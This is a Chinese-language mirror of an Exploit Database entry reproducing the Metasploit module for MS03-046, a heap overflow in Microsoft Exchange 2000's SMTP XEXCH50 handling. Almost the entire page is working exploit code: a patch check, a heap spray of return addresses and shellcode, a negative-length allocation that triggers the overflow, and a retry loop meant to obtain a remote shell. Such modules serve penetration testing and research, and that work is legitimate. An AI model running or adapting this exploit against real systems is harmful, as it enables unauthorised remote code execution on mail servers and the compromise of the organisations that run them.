Microsoft Exchange Server 2000 – XEXCH50 Heap Overflow (MS03-046) (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2010-11-11
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16820/

• ##
  # $Id: ms03_046_exchange2000_xexch50.rb 10998 2010-11-11 22:43:22Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'MS03-046 Exchange 2000 XEXCH50 Heap Overflow',
  			'Description'=> %q{
  					This is an exploit for the Exchange 2000 heap overflow. Due
  				to the nature of the vulnerability, this exploit is not very
  				reliable. This module has been tested against Exchange 2000
  				SP0 and SP3 running a Windows 2000 system patched to SP4. It
  				normally takes between one and 100 connection attempts to
  				successfully obtain a shell. This exploit is *very* unreliable.
  			},
  			'Author' =>
  				[
  					'hdm', # original module
  					'patrick', # msf3 port :)
  				],
  			'Version'=> '$Revision: 10998 $',
  			'References' =>
  				[
  					[ 'CVE', '2003-0714' ],
  					[ 'BID', '8838' ],
  					[ 'OSVDB', '2674' ],
  					[ 'MSB', 'MS03-046' ],
  					[ 'URL', 'http://www.milw0rm.com/exploits/113' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'seh',
  				},
  			'Platform' => 'win',
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 1024,
  					'BadChars' => "\x00\x0a\x0d\x20:=+\x22",
  					'StackAdjustment' => -3500,
  				},
  			'Targets'=>
  				[
  					[ 'Exchange 2000', { 'Ret' => 0x0c900c90, 'BuffLen' => 3000, 'Offset1' => 11000, 'Offset2' => 512 } ],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Oct 15 2003'))
  
  		register_options(
  			[
  				Opt::RPORT(25),
  				OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', 'random@example.com']),
  				OptString.new('MAILTO', [ true, 'The TO address of the e-mail', 'administrator']),
  				OptInt.new('ATTEMPTS', [ true, 'The number of exploit attempts before halting', 100]),
  			])
  	end
  
  	def check
  		connect
  		banner = sock.get_once
  
  		if (banner !~ /Microsoft/)
  			print_status("Target does not appear to be an Exchange server.")
  			return Exploit::CheckCode::Safe
  		end
  
  		sock.put("EHLO #{Rex::Text.rand_text_alpha(1)}\r\n")
  		res = sock.get_once
  		if (res !~ /XEXCH50/)
  			print_status("Target does not appear to be an Exchange server.")
  			return Exploit::CheckCode::Safe
  		end
  		sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n")
  		res = sock.get_once
  
  		if (res =~ /Sender OK/)
  			sock.put("RCPT TO: #{datastore['MAILTO']}\r\n")
  			res = sock.get_once
  			if (res =~ /250/)
  				sock.put("XEXCH50 2 2\r\n")
  				res = sock.get_once
  				if (res !~ /Send binary data/)
  					print_error("Target has been patched!")
  					return Exploit::CheckCode::Detected
  				else
  					return Exploit::CheckCode::Appears
  				end
  			end
  		end
  
  		disconnect
  	end
  
  	def smtp_setup(count)
  		print_status("Exploit attempt ##{count}")
  
  		connect
  		select(nil,nil,nil,1)
  		banner = sock.get_once
  		print_status("Connected to SMTP server: #{banner.to_s}")
  
  		if (banner !~ /Microsoft/)
  			print_status("Target does not appear to be running Exchange.")
  			return
  		end
  
  		select(nil,nil,nil,5)
  		sock.put("EHLO X\r\n")
  		select(nil,nil,nil,7)
  		res = sock.get_once
  
  		if (res !~ /XEXCH50/)
  			print_status("Target is not running Exchange.")
  			return
  		end
  
  		sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n")
  		select(nil,nil,nil,3)
  
  		sock.put("RCPT TO: #{datastore['MAILTO']}\r\n")
  		select(nil,nil,nil,3)
  
  	end
  
  	def exploit
  		bufflen = target['BuffLen']
  		print_status("Trying to exploit #{target.name} with address 0x%.8x..." % target['Ret'])
  		count = 1 # broke
  
  		begin
  			if (count > datastore['ATTEMPTS'])
  				print_error("Exploit failed after #{datastore['ATTEMPTS']}. Set ATTEMPTS to a higher value if desired.")
  				return # Stop after a specified number of attempts.
  			end
  
  			if (session_created?)
  				return # Stop the attack. Non-session payloads will continue regardless up to ATTEMPTS.
  			end
  
  			while(true)
  				if (smtp_setup(count))
  					print_status("Connection 1: ")
  				end
  
  				sock.put("XEXCH50 2 2\r\n")
  				select(nil,nil,nil,3)
  				res = sock.get(-1,3)
  				print_status("#{res}")
  				if (res !~ /Send binary data/)
  					print_status("Target is not vulnerable.")
  					return # commented out for the moment
  				end
  
  				sock.put("XX")
  
  				print_status("ALLOC")
  
  				size = 1024 * 1024 * 32
  
  				sock.put("XEXCH50 #{size} 2\r\n")
  				select(nil,nil,nil,3)
  
  				sploit = (([target['Ret']].pack('V')) * 256 * 1024 + payload.encoded + ("X" * 1024)) * 4 + "BEEF"
  
  				print_status("Uploading shellcode to remote heap.")
  
  				if (sock.put(sploit))
  					print_status("\tOK.")
  				end
  
  				print_status("Connection 2: ")
  				smtp_setup(count) # Connection 2
  
  				sock.put("XEXCH50 -1 2\r\n") # Allocate negative value
  				select(nil,nil,nil,2)
  				res = sock.get_once
  
  				if (!res)
  					print_error("Error - no response")
  				end
  
  				print_status("OK")
  
  				bufflen += target['Offset2']
  
  				if (bufflen > target['Offset1'])
  					bufflen = target['BuffLen']
  				end
  
  				heapover = [target['Ret']].pack('V') * bufflen
  				print_status("Overwriting heap with payload jump (#{bufflen})")
  				sock.put(heapover)
  
  				print_status("Starting reconnect sequences...")
  
  				10.times do |x|
  					print_status("Connect #{x}")
  					connect
  					sock.put("HELO X\r\n")
  					disconnect
  				end
  			end
  
  		rescue
  			print_status("Unable to connect or Exchange has crashed... Retrying.")
  			count += 1
  			retry
  		end
  
  		disconnect
  	end
  end